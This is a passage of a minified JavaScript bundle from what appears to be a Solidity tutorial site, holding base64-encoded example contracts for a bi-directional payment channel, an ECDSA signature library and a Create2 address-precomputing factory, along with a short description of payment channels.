hbm5lbCBmcm9tIG11bHRpLXNpZwoyLiBjYWxsIGNoYWxsZW5nZUV4aXQoKSB0byBzdGFydCB0aGUgcHJvY2VzcyBvZiBjbG9zaW5nIGEgY2hhbm5lbAozLiBBbGljZSBhbmQgQm9iIGNhbiB3aXRoZHJhdyBmdW5kcyBvbmNlIHRoZSBjaGFubmVsIGlzIGV4cGlyZWQKKi8KCmNvbnRyYWN0IEJpRGlyZWN0aW9uYWxQYXltZW50Q2hhbm5lbCB7CiAgICB1c2luZyBFQ0RTQSBmb3IgYnl0ZXMzMjsKCiAgICBldmVudCBDaGFsbGVuZ2VFeGl0KGFkZHJlc3MgaW5kZXhlZCBzZW5kZXIsIHVpbnQyNTYgbm9uY2UpOwogICAgZXZlbnQgV2l0aGRyYXcoYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50MjU2IGFtb3VudCk7CgogICAgYWRkcmVzcyBwYXlhYmxlWzJdIHB1YmxpYyB1c2VyczsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBib29sKSBwdWJsaWMgaXNVc2VyOwoKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBwdWJsaWMgYmFsYW5jZXM7CgogICAgdWludDI1NiBwdWJsaWMgY2hhbGxlbmdlUGVyaW9kOwogICAgdWludDI1NiBwdWJsaWMgZXhwaXJlc0F0OwogICAgdWludDI1NiBwdWJsaWMgbm9uY2U7CgogICAgbW9kaWZpZXIgY2hlY2tCYWxhbmNlcyh1aW50MjU2WzJdIG1lbW9yeSBfYmFsYW5jZXMpIHsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBhZGRyZXNzKHRoaXMpLmJhbGFuY2UgPj0gX2JhbGFuY2VzWzBdICsgX2JhbGFuY2VzWzFdLAogICAgICAgICAgICAiYmFsYW5jZSBvZiBjb250cmFjdCBtdXN0IGJlID49IHRvIHRoZSB0b3RhbCBiYWxhbmNlIG9mIHVzZXJzIgogICAgICAgICk7CiAgICAgICAgXzsKICAgIH0KCiAgICAvLyBOT1RFOiBkZXBvc2l0IGZyb20gbXVsdGktc2lnIHdhbGxldAogICAgY29uc3RydWN0b3IoCiAgICAgICAgYWRkcmVzcyBwYXlhYmxlWzJdIG1lbW9yeSBfdXNlcnMsCiAgICAgICAgdWludDI1NlsyXSBtZW1vcnkgX2JhbGFuY2VzLAogICAgICAgIHVpbnQyNTYgX2V4cGlyZXNBdCwKICAgICAgICB1aW50MjU2IF9jaGFsbGVuZ2VQZXJpb2QKICAgICkgcGF5YWJsZSBjaGVja0JhbGFuY2VzKF9iYWxhbmNlcykgewogICAgICAgIHJlcXVpcmUoX2V4cGlyZXNBdCA+IGJsb2NrLnRpbWVzdGFtcCwgIkV4cGlyYXRpb24gbXVzdCBiZSA+IG5vdyIpOwogICAgICAgIHJlcXVpcmUoX2NoYWxsZW5nZVBlcmlvZCA+IDAsICJDaGFsbGVuZ2UgcGVyaW9kIG11c3QgYmUgPiAwIik7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IF91c2Vycy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBhZGRyZXNzIHBheWFibGUgdXNlciA9IF91c2Vyc1tpXTsKCiAgICAgICAgICAgIHJlcXVpcmUoIWlzVXNlclt1c2VyXSwgInVzZXIgbXVzdCBiZSB1bmlxdWUiKTsKICAgICAgICAgICAgdXNlcnNbaV0gPSB1c2VyOwogICAgICAgICAgICBpc1VzZXJbdXNlcl0gPSB0cnVlOwoKICAgICAgICAgICAgYmFsYW5jZXNbdXNlcl0gPSBfYmFsYW5jZXNbaV07CiAgICAgICAgfQoKICAgICAgICBleHBpcmVzQXQgPSBfZXhwaXJlc0F0OwogICAgICAgIGNoYWxsZW5nZVBlcmlvZCA9IF9jaGFsbGVuZ2VQZXJpb2Q7CiAgICB9CgogICAgZnVuY3Rpb24gdmVyaWZ5KAogICAgICAgIGJ5dGVzWzJdIG1lbW9yeSBfc2lnbmF0dXJlcywKICAgICAgICBhZGRyZXNzIF9jb250cmFjdCwKICAgICAgICBhZGRyZXNzWzJdIG1lbW9yeSBfc2lnbmVycywKICAgICAgICB1aW50MjU2WzJdIG1lbW9yeSBfYmFsYW5jZXMsCiAgICAgICAgdWludDI1NiBfbm9uY2UKICAgICkgcHVibGljIHB1cmUgcmV0dXJucyAoYm9vbCkgewogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IF9zaWduYXR1cmVzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIC8qCiAgICAgICAgICAgIE5PVEU6IHNpZ24gd2l0aCBhZGRyZXNzIG9mIHRoaXMgY29udHJhY3QgdG8gcHJvdGVjdAogICAgICAgICAgICAgICAgICBhZ2FpbnMgcmVwbGF5IGF0dGFjayBvbiBvdGhlciBjb250cmFjdHMKICAgICAgICAgICAgKi8KICAgICAgICAgICAgYm9vbCB2YWxpZCA9IF9zaWduZXJzW2ldCiAgICAgICAgICAgICAgICA9PSBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfY29udHJhY3QsIF9iYWxhbmNlcywgX25vbmNlKSkKICAgICAgICAgICAgICAgICAgICAudG9FdGhTaWduZWRNZXNzYWdlSGFzaCgpLnJlY292ZXIoX3NpZ25hdHVyZXNbaV0pOwoKICAgICAgICAgICAgaWYgKCF2YWxpZCkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBtb2RpZmllciBjaGVja1NpZ25hdHVyZXMoCiAgICAgICAgYnl0ZXNbMl0gbWVtb3J5IF9zaWduYXR1cmVzLAogICAgICAgIHVpbnQyNTZbMl0gbWVtb3J5IF9iYWxhbmNlcywKICAgICAgICB1aW50MjU2IF9ub25jZQogICAgKSB7CiAgICAgICAgLy8gTm90ZTogY29weSBzdG9yYWdlIGFycmF5IHRvIG1lbW9yeQogICAgICAgIGFkZHJlc3NbMl0gbWVtb3J5IHNpZ25lcnM7CiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgdXNlcnMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgc2lnbmVyc1tpXSA9IHVzZXJzW2ldOwogICAgICAgIH0KCiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgdmVyaWZ5KF9zaWduYXR1cmVzLCBhZGRyZXNzKHRoaXMpLCBzaWduZXJzLCBfYmFsYW5jZXMsIF9ub25jZSksCiAgICAgICAgICAgICJJbnZhbGlkIHNpZ25hdHVyZSIKICAgICAgICApOwoKICAgICAgICBfOwogICAgfQoKICAgIG1vZGlmaWVyIG9ubHlVc2VyKCkgewogICAgICAgIHJlcXVpcmUoaXNVc2VyW21zZy5zZW5kZXJdLCAiTm90IHVzZXIiKTsKICAgICAgICBfOwogICAgfQoKICAgIGZ1bmN0aW9uIGNoYWxsZW5nZUV4aXQoCiAgICAgICAgdWludDI1NlsyXSBtZW1vcnkgX2JhbGFuY2VzLAogICAgICAgIHVpbnQyNTYgX25vbmNlLAogICAgICAgIGJ5dGVzWzJdIG1lbW9yeSBfc2lnbmF0dXJlcwogICAgKQogICAgICAgIHB1YmxpYwogICAgICAgIG9ubHlVc2VyCiAgICAgICAgY2hlY2tTaWduYXR1cmVzKF9zaWduYXR1cmVzLCBfYmFsYW5jZXMsIF9ub25jZSkKICAgICAgICBjaGVja0JhbGFuY2VzKF9iYWxhbmNlcykKICAgIHsKICAgICAgICByZXF1aXJlKGJsb2NrLnRpbWVzdGFtcCA8IGV4cGlyZXNBdCwgIkV4cGlyZWQgY2hhbGxlbmdlIHBlcmlvZCIpOwogICAgICAgIHJlcXVpcmUoX25vbmNlID4gbm9uY2UsICJOb25jZSBtdXN0IGJlIGdyZWF0ZXIgdGhhbiB0aGUgY3VycmVudCBub25jZSIpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCBfYmFsYW5jZXMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgYmFsYW5jZXNbdXNlcnNbaV1dID0gX2JhbGFuY2VzW2ldOwogICAgICAgIH0KCiAgICAgICAgbm9uY2UgPSBfbm9uY2U7CiAgICAgICAgZXhwaXJlc0F0ID0gYmxvY2sudGltZXN0YW1wICsgY2hhbGxlbmdlUGVyaW9kOwoKICAgICAgICBlbWl0IENoYWxsZW5nZUV4aXQobXNnLnNlbmRlciwgbm9uY2UpOwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KCkgcHVibGljIG9ubHlVc2VyIHsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBibG9jay50aW1lc3RhbXAgPj0gZXhwaXJlc0F0LCAiQ2hhbGxlbmdlIHBlcmlvZCBoYXMgbm90IGV4cGlyZWQgeWV0IgogICAgICAgICk7CgogICAgICAgIHVpbnQyNTYgYW1vdW50ID0gYmFsYW5jZXNbbXNnLnNlbmRlcl07CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gPSAwOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IGFtb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CgogICAgICAgIGVtaXQgV2l0aGRyYXcobXNnLnNlbmRlciwgYW1vdW50KTsKICAgIH0KfQo="},{fileName:"ECDSA.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIE9wZW5aZXBwZWxpbiBDb250cmFjdHMgKGxhc3QgdXBkYXRlZCB2NC41LjApICh1dGlscy9jcnlwdG9ncmFwaHkvRUNEU0Euc29sKQoKbGlicmFyeSBFQ0RTQSB7CiAgICBlbnVtIFJlY292ZXJFcnJvciB7CiAgICAgICAgTm9FcnJvciwKICAgICAgICBJbnZhbGlkU2lnbmF0dXJlLAogICAgICAgIEludmFsaWRTaWduYXR1cmVMZW5ndGgsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVMsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVYKICAgIH0KCiAgICBmdW5jdGlvbiBfdGhyb3dFcnJvcihSZWNvdmVyRXJyb3IgZXJyb3IpIHByaXZhdGUgcHVyZSB7CiAgICAgICAgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5Ob0Vycm9yKSB7CiAgICAgICAgICAgIHJldHVybjsgLy8gbm8gZXJyb3I6IGRvIG5vdGhpbmcKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKSB7CiAgICAgICAgICAgIHJldmVydCgiRUNEU0E6IGludmFsaWQgc2lnbmF0dXJlIik7CiAgICAgICAgfSBlbHNlIGlmIChlcnJvciA9PSBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZUxlbmd0aCkgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSBsZW5ndGgiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlUykgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAncycgdmFsdWUiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlVikgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAndicgdmFsdWUiKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdHJ5UmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzIG1lbW9yeSBzaWduYXR1cmUpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYWRkcmVzcywgUmVjb3ZlckVycm9yKQogICAgewogICAgICAgIC8vIENoZWNrIHRoZSBzaWduYXR1cmUgbGVuZ3RoCiAgICAgICAgLy8gLSBjYXNlIDY1OiByLHMsdiBzaWduYXR1cmUgKHN0YW5kYXJkKQogICAgICAgIC8vIC0gY2FzZSA2NDogcix2cyBzaWduYXR1cmUgKGNmIGh0dHBzOi8vZWlwcy5ldGhlcmV1bS5vcmcvRUlQUy9laXAtMjA5OCkgX0F2YWlsYWJsZSBzaW5jZSB2NC4xLl8KICAgICAgICBpZiAoc2lnbmF0dXJlLmxlbmd0aCA9PSA2NSkgewogICAgICAgICAgICBieXRlczMyIHI7CiAgICAgICAgICAgIGJ5dGVzMzIgczsKICAgICAgICAgICAgdWludDggdjsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgcyA6PSBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDQwKSkKICAgICAgICAgICAgICAgIHYgOj0gYnl0ZSgwLCBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDYwKSkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICAgICAgfSBlbHNlIGlmIChzaWduYXR1cmUubGVuZ3RoID09IDY0KSB7CiAgICAgICAgICAgIGJ5dGVzMzIgcjsKICAgICAgICAgICAgYnl0ZXMzMiB2czsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgdnMgOj0gbWxvYWQoYWRkKHNpZ25hdHVyZSwgMHg0MCkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVMZW5ndGgpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiByZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMgbWVtb3J5IHNpZ25hdHVyZSkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgc2lnbmF0dXJlKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0cnlSZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMzMiByLCBieXRlczMyIHZzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MsIFJlY292ZXJFcnJvcikKICAgIHsKICAgICAgICBieXRlczMyIHMgPSB2cwogICAgICAgICAgICAmIGJ5dGVzMzIoCiAgICAgICAgICAgICAgICAweDdmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmYKICAgICAgICAgICAgKTsKICAgICAgICB1aW50OCB2ID0gdWludDgoKHVpbnQyNTYodnMpID4+IDI1NSkgKyAyNyk7CiAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzMzIgciwgYnl0ZXMzMiB2cykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIF90aHJvd0Vycm9yKGVycm9yKTsKICAgICAgICByZXR1cm4gcmVjb3ZlcmVkOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyeVJlY292ZXIoYnl0ZXMzMiBoYXNoLCB1aW50OCB2LCBieXRlczMyIHIsIGJ5dGVzMzIgcykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzLCBSZWNvdmVyRXJyb3IpCiAgICB7CiAgICAgICAgLy8gRUlQLTIgc3RpbGwgYWxsb3dzIHNpZ25hdHVyZSBtYWxsZWFiaWxpdHkgZm9yIGVjcmVjb3ZlcigpLiBSZW1vdmUgdGhpcyBwb3NzaWJpbGl0eSBhbmQgbWFrZSB0aGUgc2lnbmF0dXJlCiAgICAgICAgLy8gdW5pcXVlLiBBcHBlbmRpeCBGIGluIHRoZSBFdGhlcmV1bSBZZWxsb3cgcGFwZXIgKGh0dHBzOi8vZXRoZXJldW0uZ2l0aHViLmlvL3llbGxvd3BhcGVyL3BhcGVyLnBkZiksIGRlZmluZXMKICAgICAgICAvLyB0aGUgdmFsaWQgcmFuZ2UgZm9yIHMgaW4gKDMwMSk6IDAgPCBzIDwgc2VjcDI1NmsxbiDDtyAyICsgMSwgYW5kIGZvciB2IGluICgzMDIpOiB2IOKIiCB7MjcsIDI4fS4gTW9zdAogICAgICAgIC8vIHNpZ25hdHVyZXMgZnJvbSBjdXJyZW50IGxpYnJhcmllcyBnZW5lcmF0ZSBhIHVuaXF1ZSBzaWduYXR1cmUgd2l0aCBhbiBzLXZhbHVlIGluIHRoZSBsb3dlciBoYWxmIG9yZGVyLgogICAgICAgIC8vCiAgICAgICAgLy8gSWYgeW91ciBsaWJyYXJ5IGdlbmVyYXRlcyBtYWxsZWFibGUgc2lnbmF0dXJlcywgc3VjaCBhcyBzLXZhbHVlcyBpbiB0aGUgdXBwZXIgcmFuZ2UsIGNhbGN1bGF0ZSBhIG5ldyBzLXZhbHVlCiAgICAgICAgLy8gd2l0aCAweEZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZFQkFBRURDRTZBRjQ4QTAzQkJGRDI1RThDRDAzNjQxNDEgLSBzMSBhbmQgZmxpcCB2IGZyb20gMjcgdG8gMjggb3IKICAgICAgICAvLyB2aWNlIHZlcnNhLiBJZiB5b3VyIGxpYnJhcnkgYWxzbyBnZW5lcmF0ZXMgc2lnbmF0dXJlcyB3aXRoIDAvMSBmb3IgdiBpbnN0ZWFkIDI3LzI4LCBhZGQgMjcgdG8gdiB0byBhY2NlcHQKICAgICAgICAvLyB0aGVzZSBtYWxsZWFibGUgc2lnbmF0dXJlcyBhcyB3ZWxsLgogICAgICAgIGlmICgKICAgICAgICAgICAgdWludDI1NihzKQogICAgICAgICAgICAgICAgPiAweDdGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGNUQ1NzZFNzM1N0E0NTAxRERGRTkyRjQ2NjgxQjIwQTAKICAgICAgICApIHsKICAgICAgICAgICAgcmV0dXJuIChhZGRyZXNzKDApLCBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZVMpOwogICAgICAgIH0KICAgICAgICBpZiAodiAhPSAyNyAmJiB2ICE9IDI4KSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVWKTsKICAgICAgICB9CgogICAgICAgIC8vIElmIHRoZSBzaWduYXR1cmUgaXMgdmFsaWQgKGFuZCBub3QgbWFsbGVhYmxlKSwgcmV0dXJuIHRoZSBzaWduZXIgYWRkcmVzcwogICAgICAgIGFkZHJlc3Mgc2lnbmVyID0gZWNyZWNvdmVyKGhhc2gsIHYsIHIsIHMpOwogICAgICAgIGlmIChzaWduZXIgPT0gYWRkcmVzcygwKSkgewogICAgICAgICAgICByZXR1cm4gKGFkZHJlc3MoMCksIFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKTsKICAgICAgICB9CgogICAgICAgIHJldHVybiAoc2lnbmVyLCBSZWNvdmVyRXJyb3IuTm9FcnJvcik7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIHVpbnQ4IHYsIGJ5dGVzMzIgciwgYnl0ZXMzMiBzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgKGFkZHJlc3MgcmVjb3ZlcmVkLCBSZWNvdmVyRXJyb3IgZXJyb3IpID0gdHJ5UmVjb3ZlcihoYXNoLCB2LCByLCBzKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKGJ5dGVzMzIgaGFzaCkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIC8vIDMyIGlzIHRoZSBsZW5ndGggaW4gYnl0ZXMgb2YgaGFzaCwKICAgICAgICAvLyBlbmZvcmNlZCBieSB0aGUgdHlwZSBzaWduYXR1cmUgYWJvdmUKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KAogICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKCJceDE5RXRoZXJldW0gU2lnbmVkIE1lc3NhZ2U6XG4zMiIsIGhhc2gpCiAgICAgICAgKTsKICAgIH0KfQo="}],cj=`

Bi-directional payment channels allow participants Alice and Bob to repeatedly transfer Ether off chain.

Payments can go both ways, Alice pays Bob and Bob pays Alice.

// SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -516,7 +516,7 @@ Closing a channel when Alice and Bob do not agree on the final balances
         );
     }
 }
-
`,tj=({prev:s,next:a})=>r.jsx(u,{version:nj,title:lj,description:pj,html:cj,prev:s,next:a,codes:ej}),oj="0.8.24",rj="Precompute Contract Address with Create2",ij="Precompute contract address with create2",gj=[{fileName:"Create2.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZhY3RvcnkgewogICAgLy8gUmV0dXJucyB0aGUgYWRkcmVzcyBvZiB0aGUgbmV3bHkgZGVwbG95ZWQgY29udHJhY3QKICAgIGZ1bmN0aW9uIGRlcGxveShhZGRyZXNzIF9vd25lciwgdWludDI1NiBfZm9vLCBieXRlczMyIF9zYWx0KQogICAgICAgIHB1YmxpYwogICAgICAgIHBheWFibGUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIC8vIFRoaXMgc3ludGF4IGlzIGEgbmV3ZXIgd2F5IHRvIGludm9rZSBjcmVhdGUyIHdpdGhvdXQgYXNzZW1ibHksIHlvdSBqdXN0IG5lZWQgdG8gcGFzcyBzYWx0CiAgICAgICAgLy8gaHR0cHM6Ly9kb2NzLnNvbGlkaXR5bGFuZy5vcmcvZW4vbGF0ZXN0L2NvbnRyb2wtc3RydWN0dXJlcy5odG1sI3NhbHRlZC1jb250cmFjdC1jcmVhdGlvbnMtY3JlYXRlMgogICAgICAgIHJldHVybiBhZGRyZXNzKG5ldyBUZXN0Q29udHJhY3R7c2FsdDogX3NhbHR9KF9vd25lciwgX2ZvbykpOwogICAgfQp9CgovLyBUaGlzIGlzIHRoZSBvbGRlciB3YXkgb2YgZG9pbmcgaXQgdXNpbmcgYXNzZW1ibHkKY29udHJhY3QgRmFjdG9yeUFzc2VtYmx5IHsKICAgIGV2ZW50IERlcGxveWVkKGFkZHJlc3MgYWRkciwgdWludDI1NiBzYWx0KTsKCiAgICAvLyAxLiBHZXQgYnl0ZWNvZGUgb2YgY29udHJhY3QgdG8gYmUgZGVwbG95ZWQKICAgIC8vIE5PVEU6IF9vd25lciBhbmQgX2ZvbyBhcmUgYXJndW1lbnRzIG9mIHRoZSBUZXN0Q29udHJhY3QncyBjb25zdHJ1Y3RvcgogICAgZnVuY3Rpb24gZ2V0Qnl0ZWNvZGUoYWRkcmVzcyBfb3duZXIsIHVpbnQyNTYgX2ZvbykKICAgICAgICBwdWJsaWMKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KQogICAgewogICAgICAgIGJ5dGVzIG1lbW9yeSBieXRlY29kZSA9IHR5cGUoVGVzdENvbnRyYWN0KS5jcmVhdGlvbkNvZGU7CgogICAgICAgIHJldHVybiBhYmkuZW5jb2RlUGFja2VkKGJ5dGVjb2RlLCBhYmkuZW5jb2RlKF9vd25lciwgX2ZvbykpOwogICAgfQoKICAgIC8vIDIuIENvbXB1dGUgdGhlIGFkZHJlc3Mgb2YgdGhlIGNvbnRyYWN0IHRvIGJlIGRlcGxveWVkCiAgICAvLyBOT1RFOiBfc2FsdCBpcyBhIHJhbmRvbSBudW1iZXIgdXNlZCB0byBjcmVhdGUgYW4gYWRkcmVzcwogICAgZnVuY3Rpb24gZ2V0QWRkcmVzcyhieXRlcyBtZW1vcnkgYnl0ZWNvZGUsIHVpbnQyNTYgX3NhbHQpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgYnl0ZXMzMiBoYXNoID0ga2VjY2FrMjU2KAogICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKAogICAgICAgICAgICAgICAgYnl0ZXMxKDB4ZmYpLCBhZGRyZXNzKHRoaXMpLCBfc2FsdCwga2VjY2FrMjU2KGJ5dGVjb2RlKQogICAgICAgICAgICApCiAgICAgICAgKTsKCiAgICAgICAgLy8gTk9URTogY2FzdCBsYXN0IDIwIGJ5dGVzIG9mIGhhc2ggdG8gYWRkcmVzcwogICAgICAgIHJldHVybiBhZGRyZXNzKHVpbnQxNjAodWludDI1NihoYXNoKSkpOwogICAgfQoKICAgIC8vIDMuIERlcGxveSB0aGUgY29udHJhY3QKICAgIC8vIE5PVEU6CiAgICAvLyBDaGVjayB0aGUgZXZlbnQgbG9nIERlcGxveWVkIHdoaWNoIGNvbnRhaW5zIHRoZSBhZGRyZXNzIG9mIHRoZSBkZXBsb3llZCBUZXN0Q29udHJhY3QuCiAgICAvLyBUaGUgYWRkcmVzcyBpbiB0aGUgbG9nIHNob3VsZCBlcXVhbCB0aGUgYWRkcmVzcyBjb21wdXRlZCBmcm9tIGFib3ZlLgogICAgZnVuY3Rpb24gZGVwbG95KGJ5dGVzIG1lbW9yeSBieXRlY29kZSwgdWludDI1NiBfc2FsdCkgcHVibGljIHBheWFibGUgewogICAgICAgIGFkZHJlc3MgYWRkcjsKCiAgICAgICAgLyoKICAgICAgICBOT1RFOiBIb3cgdG8gY2FsbCBjcmVhdGUyCgogICAgICAgIGNyZWF0ZTIodiwgcCwgbiwgcykKICAgICAgICBjcmVhdGUgbmV3IGNvbnRyYWN0IHdpdGggY29kZSBhdCBtZW1vcnkgcCB0byBwICsgbgogICAgICAgIGFuZCBzZW5kIHYgd2VpCiAgICAgICAgYW5kIHJldHVybiB0aGUgbmV3IGFkZHJlc3MKICAgICAgICB3aGVyZSBuZXcgYWRkcmVzcyA9IGZpcnN0IDIwIGJ5dGVzIG9mIGtlY2NhazI1NigweGZmICsgYWRkcmVzcyh0aGlzKSArIHMgKyBrZWNjYWsyNTYobWVtW3DigKYocCtuKSkpCiAgICAgICAgICAgICAgcyA9IGJpZy1lbmRpYW4gMjU2LWJpdCB2YWx1ZQogICAgICAgICovCiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBhZGRyIDo9CiAgICAgICAgICAgICAgICBjcmVhdGUyKAogICAgICAgICAgICAgICAgICAgIGNhbGx2YWx1ZSgpLCAvLyB3ZWkgc2VudCB3aXRoIGN1cnJlbnQgY2FsbAogICAgICAgICAgICAgICAgICAgIC8vIEFjdHVhbCBjb2RlIHN0YXJ0cyBhZnRlciBza2lwcGluZyB0aGUgZmlyc3QgMzIgYnl0ZXMKICAgICAgICAgICAgICAgICAgICBhZGQoYnl0ZWNvZGUsIDB4MjApLAogICAgICAgICAgICAgICAgICAgIG1sb2FkKGJ5dGVjb2RlKSwgLy8gTG9hZCB0aGUgc2l6ZSBvZiBjb2RlIGNvbnRhaW5lZCBpbiB0aGUgZmlyc3QgMzIgYnl0ZXMKICAgICAgICAgICAgICAgICAgICBfc2FsdCAvLyBTYWx0IGZyb20gZnVuY3Rpb24gYXJndW1lbnRzCiAgICAgICAgICAgICAgICApCgogICAgICAgICAgICBpZiBpc3plcm8oZXh0Y29kZXNpemUoYWRkcikpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAg